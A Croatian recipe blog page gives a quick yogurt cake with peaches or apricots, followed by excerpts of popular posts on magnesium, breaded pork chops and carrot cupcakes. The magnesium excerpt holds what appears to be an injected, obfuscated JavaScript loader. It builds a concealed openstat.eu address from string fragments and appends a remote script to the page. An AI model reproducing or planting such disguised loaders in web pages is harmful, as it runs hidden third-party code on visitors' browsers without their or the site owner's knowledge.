BRZI JOGURT KOLAČ S BRESKVAMA ILI MARELICAMA 🍑





Brzi jogurt kolač s breskvama ili marelicama 



Ljeti najviše volimo recepte koji ne traže puno vremena, komplicirane sastojke ni sate provedene u kuhinji. Pposljednjih dana zato ponovno razmišljamo o kolaču koji su nekada redovito pripremale bake; jednostavnom jogurt kolaču koji se mjeri čašom od jogurta. Bez vage, bez miksera i stresa, a rezultat je uvijek sočan, mekan i mirisan voćni kolač.




Brzi jogurt kolač s breskvama ili marelicama 


Sastojci:

  • 1 čaša čvrstog jogurta (180 g)
  • 2 čaše glatkog brašna
  • 1 čaša šećera
  • 1/2 čaše ulja
  • 3 jaja
  • 1 prašak za pecivo
  • 1 vanilin šećer
  • 3 do 4 breskve ili 8 do 10 marelica
  • prstohvat soli
  • šećer u prahu za posipanje



Priprema:

  • Zagrijte pećnicu na 180 °C.
  • U većoj zdjeli pjenjačom izmiješajte jaja, šećer i vanilin šećer.
  • Dodajte jogurt i ulje pa kratko promiješajte.
  • Umiješajte brašno, prašak za pecivo i prstohvat soli dok ne dobijete glatku smjesu.
  • Smjesu izlijte u namašćen ili papirom za pečenje obložen kalup dimenzija približno 20 x 30 cm.
  • Breskve narežite na kriške, a ako koristitw marelice prepolovite ih i očistite od koštica pa ih rasporedite po vrhu kolača.
  • Pecite 35 do 40 minuta, odnosno dok površina ne poprimi zlatnu boju, a čačkalica izađe suha.
  • Ohladite, pospite šećerom u prahu i poslužite.

Savjet više: U smjesu možete dodati malo limunove korice ili prstohvat cimeta, a kolač će biti jednako ukusan i s kombinacijom breskvi i marelica. Poslužite ga lagano rashlađenog uz kuglicu sladoleda od vanilije ili šalicu kave.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više